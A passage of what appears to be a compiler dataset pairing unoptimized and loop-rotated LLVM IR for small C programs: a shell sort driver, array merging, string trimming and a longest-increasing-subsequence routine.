!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmph8moxrb1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [40 x i8] c"After sorting:\0A***********************\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca [200 x i32], align 16
%2 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%3 = call i32 @randomIntArray(ptr noundef %2, i32 noundef 200, i32 noundef 0, i32 noundef 1000)
%4 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%5 = call i32 @printArray(ptr noundef %4, i32 noundef 200)
%6 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%7 = call i32 @checkAscending(ptr noundef %6, i32 noundef 200)
%8 = call i32 @printf(ptr noundef @.str)
%9 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%10 = call i32 @shellSort1(ptr noundef %9, i32 noundef 200)
%11 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%12 = call i32 @printArray(ptr noundef %11, i32 noundef 200)
%13 = getelementptr inbounds [200 x i32], ptr %1, i64 0, i64 0
%14 = call i32 @checkAscending(ptr noundef %13, i32 noundef 200)
ret void
}
declare i32 @randomIntArray(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @printArray(ptr noundef, i32 noundef) #1
declare i32 @checkAscending(ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @shellSort1(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmphf99tm1_.c'
source_filename = "/tmp/tmphf99tm1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [41 x i8] c"Input number of elements in first array\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [19 x i8] c"Input %d integers\0A\00", align 1
@.str.3 = private unnamed_addr constant [42 x i8] c"Input number of elements in second array\0A\00", align 1
@.str.4 = private unnamed_addr constant [15 x i8] c"Sorted array:\0A\00", align 1
@.str.5 = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [100 x i32], align 16
%3 = alloca [100 x i32], align 16
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca [200 x i32], align 16
store i32 0, ptr %1, align 4
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%9 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %4)
%10 = load i32, ptr %4, align 4
%11 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %10)
store i32 0, ptr %6, align 4
br label %12
12: ; preds = %21, %0
%13 = load i32, ptr %6, align 4
%14 = load i32, ptr %4, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %24
16: ; preds = %12
%17 = load i32, ptr %6, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds [100 x i32], ptr %2, i64 0, i64 %18
%20 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %19)
br label %21
21: ; preds = %16
%22 = load i32, ptr %6, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %6, align 4
br label %12, !llvm.loop !6
24: ; preds = %12
%25 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%26 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%27 = load i32, ptr %5, align 4
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %27)
store i32 0, ptr %6, align 4
br label %29
29: ; preds = %38, %24
%30 = load i32, ptr %6, align 4
%31 = load i32, ptr %5, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %33, label %41
33: ; preds = %29
%34 = load i32, ptr %6, align 4
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 %35
%37 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %36)
br label %38
38: ; preds = %33
%39 = load i32, ptr %6, align 4
%40 = add nsw i32 %39, 1
store i32 %40, ptr %6, align 4
br label %29, !llvm.loop !8
41: ; preds = %29
%42 = getelementptr inbounds [100 x i32], ptr %2, i64 0, i64 0
%43 = load i32, ptr %4, align 4
%44 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0
%45 = load i32, ptr %5, align 4
%46 = getelementptr inbounds [200 x i32], ptr %7, i64 0, i64 0
%47 = call i32 @merge(ptr noundef %42, i32 noundef %43, ptr noundef %44, i32 noundef %45, ptr noundef %46)
%48 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
store i32 0, ptr %6, align 4
br label %49
49: ; preds = %61, %41
%50 = load i32, ptr %6, align 4
%51 = load i32, ptr %4, align 4
%52 = load i32, ptr %5, align 4
%53 = add nsw i32 %51, %52
%54 = icmp slt i32 %50, %53
br i1 %54, label %55, label %64
55: ; preds = %49
%56 = load i32, ptr %6, align 4
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds [200 x i32], ptr %7, i64 0, i64 %57
%59 = load i32, ptr %58, align 4
%60 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %59)
br label %61
61: ; preds = %55
%62 = load i32, ptr %6, align 4
%63 = add nsw i32 %62, 1
store i32 %63, ptr %6, align 4
br label %49, !llvm.loop !9
64: ; preds = %49
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @merge(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphf99tm1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [41 x i8] c"Input number of elements in first array\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [19 x i8] c"Input %d integers\0A\00", align 1
@.str.3 = private unnamed_addr constant [42 x i8] c"Input number of elements in second array\0A\00", align 1
@.str.4 = private unnamed_addr constant [15 x i8] c"Sorted array:\0A\00", align 1
@.str.5 = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [100 x i32], align 16
%3 = alloca [100 x i32], align 16
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca [200 x i32], align 16
store i32 0, ptr %1, align 4
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%9 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %4)
%10 = load i32, ptr %4, align 4
%11 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %10)
store i32 0, ptr %6, align 4
%12 = load i32, ptr %6, align 4
%13 = load i32, ptr %4, align 4
%14 = icmp slt i32 %12, %13
br i1 %14, label %.lr.ph, label %26
.lr.ph: ; preds = %0
br label %15
15: ; preds = %.lr.ph, %20
%16 = load i32, ptr %6, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [100 x i32], ptr %2, i64 0, i64 %17
%19 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %18)
br label %20
20: ; preds = %15
%21 = load i32, ptr %6, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %6, align 4
%23 = load i32, ptr %6, align 4
%24 = load i32, ptr %4, align 4
%25 = icmp slt i32 %23, %24
br i1 %25, label %15, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %20
br label %26
26: ; preds = %._crit_edge, %0
%27 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%28 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%29 = load i32, ptr %5, align 4
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %29)
store i32 0, ptr %6, align 4
%31 = load i32, ptr %6, align 4
%32 = load i32, ptr %5, align 4
%33 = icmp slt i32 %31, %32
br i1 %33, label %.lr.ph2, label %45
.lr.ph2: ; preds = %26
br label %34
34: ; preds = %.lr.ph2, %39
%35 = load i32, ptr %6, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 %36
%38 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %37)
br label %39
39: ; preds = %34
%40 = load i32, ptr %6, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %6, align 4
%42 = load i32, ptr %6, align 4
%43 = load i32, ptr %5, align 4
%44 = icmp slt i32 %42, %43
br i1 %44, label %34, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %39
br label %45
45: ; preds = %._crit_edge3, %26
%46 = getelementptr inbounds [100 x i32], ptr %2, i64 0, i64 0
%47 = load i32, ptr %4, align 4
%48 = getelementptr inbounds [100 x i32], ptr %3, i64 0, i64 0
%49 = load i32, ptr %5, align 4
%50 = getelementptr inbounds [200 x i32], ptr %7, i64 0, i64 0
%51 = call i32 @merge(ptr noundef %46, i32 noundef %47, ptr noundef %48, i32 noundef %49, ptr noundef %50)
%52 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
store i32 0, ptr %6, align 4
%53 = load i32, ptr %6, align 4
%54 = load i32, ptr %4, align 4
%55 = load i32, ptr %5, align 4
%56 = add nsw i32 %54, %55
%57 = icmp slt i32 %53, %56
br i1 %57, label %.lr.ph5, label %72
.lr.ph5: ; preds = %45
br label %58
58: ; preds = %.lr.ph5, %64
%59 = load i32, ptr %6, align 4
%60 = sext i32 %59 to i64
%61 = getelementptr inbounds [200 x i32], ptr %7, i64 0, i64 %60
%62 = load i32, ptr %61, align 4
%63 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %62)
br label %64
64: ; preds = %58
%65 = load i32, ptr %6, align 4
%66 = add nsw i32 %65, 1
store i32 %66, ptr %6, align 4
%67 = load i32, ptr %6, align 4
%68 = load i32, ptr %4, align 4
%69 = load i32, ptr %5, align 4
%70 = add nsw i32 %68, %69
%71 = icmp slt i32 %67, %70
br i1 %71, label %58, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %64
br label %72
72: ; preds = %._crit_edge6, %45
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @merge(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmp9ji8mu6_.c'
source_filename = "/tmp/tmp9ji8mu6_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [40 x i8] c"ERR: No se tiene al menos un car\C3\A1cter\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @corta_string(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i32 @strlen(ptr noundef %4)
%6 = icmp sgt i32 %5, 1
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = load ptr, ptr %3, align 8
%9 = getelementptr inbounds i8, ptr %8, i64 1
store ptr %9, ptr %2, align 8
br label %11
10: ; preds = %1
store ptr @.str, ptr %2, align 8
br label %11
11: ; preds = %10, %7
%12 = load ptr, ptr %2, align 8
ret ptr %12
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp9ji8mu6_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [40 x i8] c"ERR: No se tiene al menos un car\C3\A1cter\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @corta_string(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i32 @strlen(ptr noundef %4)
%6 = icmp sgt i32 %5, 1
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = load ptr, ptr %3, align 8
%9 = getelementptr inbounds i8, ptr %8, i64 1
store ptr %9, ptr %2, align 8
br label %11
10: ; preds = %1
store ptr @.str, ptr %2, align 8
br label %11
11: ; preds = %10, %7
%12 = load ptr, ptr %2, align 8
ret ptr %12
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3uc56cs5.c'
source_filename = "/tmp/tmp3uc56cs5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [20 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca [20 x i32], align 16
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %7, align 4
%8 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%9 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 0
%10 = load i32, ptr %3, align 4
%11 = call i32 @scanarray(ptr noundef %9, i32 noundef %10)
store i32 0, ptr %5, align 4
br label %12
12: ; preds = %53, %0
%13 = load i32, ptr %5, align 4
%14 = load i32, ptr %3, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %56
16: ; preds = %12
%17 = load i32, ptr %5, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %18
store i32 1, ptr %19, align 4
store i32 0, ptr %6, align 4
br label %20
20: ; preds = %49, %16
%21 = load i32, ptr %6, align 4
%22 = load i32, ptr %5, align 4
%23 = icmp slt i32 %21, %22
br i1 %23, label %24, label %52
24: ; preds = %20
%25 = load i32, ptr %5, align 4
%26 = sext i32 %25 to i64
%27 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 %26
%28 = load i32, ptr %27, align 4
%29 = load i32, ptr %6, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 %30
%32 = load i32, ptr %31, align 4
%33 = icmp sgt i32 %28, %32
br i1 %33, label %34, label %48
34: ; preds = %24
%35 = load i32, ptr %5, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %36
%38 = load i32, ptr %37, align 4
%39 = load i32, ptr %6, align 4
%40 = sext i32 %39 to i64
%41 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %40
%42 = load i32, ptr %41, align 4
%43 = add nsw i32 %42, 1
%44 = call i32 @max(i32 noundef %38, i32 noundef %43)
%45 = load i32, ptr %5, align 4
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %46
store i32 %44, ptr %47, align 4
br label %48
48: ; preds = %34, %24
br label %49
49: ; preds = %48
%50 = load i32, ptr %6, align 4
%51 = add nsw i32 %50, 1
store i32 %51, ptr %6, align 4
br label %20, !llvm.loop !6
52: ; preds = %20
br label %53
53: ; preds = %52
%54 = load i32, ptr %5, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %5, align 4
br label %12, !llvm.loop !8
56: ; preds = %12
store i32 0, ptr %5, align 4
br label %57
57: ; preds = %68, %56
%58 = load i32, ptr %5, align 4
%59 = load i32, ptr %3, align 4
%60 = icmp slt i32 %58, %59
br i1 %60, label %61, label %71
61: ; preds = %57
%62 = load i32, ptr %7, align 4
%63 = load i32, ptr %5, align 4
%64 = sext i32 %63 to i64
%65 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %64
%66 = load i32, ptr %65, align 4
%67 = call i32 @max(i32 noundef %62, i32 noundef %66)
store i32 %67, ptr %7, align 4
br label %68
68: ; preds = %61
%69 = load i32, ptr %5, align 4
%70 = add nsw i32 %69, 1
store i32 %70, ptr %5, align 4
br label %57, !llvm.loop !9
71: ; preds = %57
%72 = load i32, ptr %7, align 4
%73 = call i32 @printf(ptr noundef @.str, i32 noundef %72)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @scanarray(ptr noundef, i32 noundef) #1
declare i32 @max(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3uc56cs5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [20 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca [20 x i32], align 16
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %7, align 4
%8 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%9 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 0
%10 = load i32, ptr %3, align 4
%11 = call i32 @scanarray(ptr noundef %9, i32 noundef %10)
store i32 0, ptr %5, align 4
%12 = load i32, ptr %5, align 4
%13 = load i32, ptr %3, align 4
%14 = icmp slt i32 %12, %13
br i1 %14, label %.lr.ph2, label %60
.lr.ph2: ; preds = %0
br label %15
15: ; preds = %.lr.ph2, %54
%16 = load i32, ptr %5, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %17
store i32 1, ptr %18, align 4
store i32 0, ptr %6, align 4
%19 = load i32, ptr %6, align 4
%20 = load i32, ptr %5, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %.lr.ph, label %53
.lr.ph: ; preds = %15
br label %22
22: ; preds = %.lr.ph, %47
%23 = load i32, ptr %5, align 4
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 %24
%26 = load i32, ptr %25, align 4
%27 = load i32, ptr %6, align 4
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds [20 x i32], ptr %2, i64 0, i64 %28
%30 = load i32, ptr %29, align 4
%31 = icmp sgt i32 %26, %30
br i1 %31, label %32, label %46
32: ; preds = %22
%33 = load i32, ptr %5, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %34
%36 = load i32, ptr %35, align 4
%37 = load i32, ptr %6, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %38
%40 = load i32, ptr %39, align 4
%41 = add nsw i32 %40, 1
%42 = call i32 @max(i32 noundef %36, i32 noundef %41)
%43 = load i32, ptr %5, align 4
%44 = sext i32 %43 to i64
%45 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %44
store i32 %42, ptr %45, align 4
br label %46
46: ; preds = %32, %22
br label %47
47: ; preds = %46
%48 = load i32, ptr %6, align 4
%49 = add nsw i32 %48, 1
store i32 %49, ptr %6, align 4
%50 = load i32, ptr %6, align 4
%51 = load i32, ptr %5, align 4
%52 = icmp slt i32 %50, %51
br i1 %52, label %22, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %47
br label %53
53: ; preds = %._crit_edge, %15
br label %54
54: ; preds = %53
%55 = load i32, ptr %5, align 4
%56 = add nsw i32 %55, 1
store i32 %56, ptr %5, align 4
%57 = load i32, ptr %5, align 4
%58 = load i32, ptr %3, align 4
%59 = icmp slt i32 %57, %58
br i1 %59, label %15, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %54
br label %60
60: ; preds = %._crit_edge3, %0
store i32 0, ptr %5, align 4
%61 = load i32, ptr %5, align 4
%62 = load i32, ptr %3, align 4
%63 = icmp slt i32 %61, %62
br i1 %63, label %.lr.ph5, label %77
.lr.ph5: ; preds = %60
br label %64
64: ; preds = %.lr.ph5, %71
%65 = load i32, ptr %7, align 4
%66 = load i32, ptr %5, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds [20 x i32], ptr %4, i64 0, i64 %67
%69 = load i32, ptr %68, align 4
%70 = call i32 @max(i32 noundef %65, i32 noundef %69)
store i32 %70, ptr %7, align 4
br label %71
71: ; preds = %64
%72 = load i32, ptr %5, align 4
%73 = add nsw i32 %72, 1
store i32 %73, ptr %5, align 4
%74 = load i32, ptr %5, align 4
%75 = load i32, ptr %3, align 4
%76 = icmp slt i32 %74, %75
br i1 %76, label %64, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %71
br label %77
77: ; preds = %._crit_edge6, %60
%78 = load i32, ptr %7, align 4
%79 = call i32 @printf(ptr noundef @.str, i32 noundef %78)
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @scanarray(ptr noundef, i32 noundef) #1
declare i32 @max(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmp69k_p732.c'
source_filename = "/tmp/tmp69k_p732.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp69k_p732.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
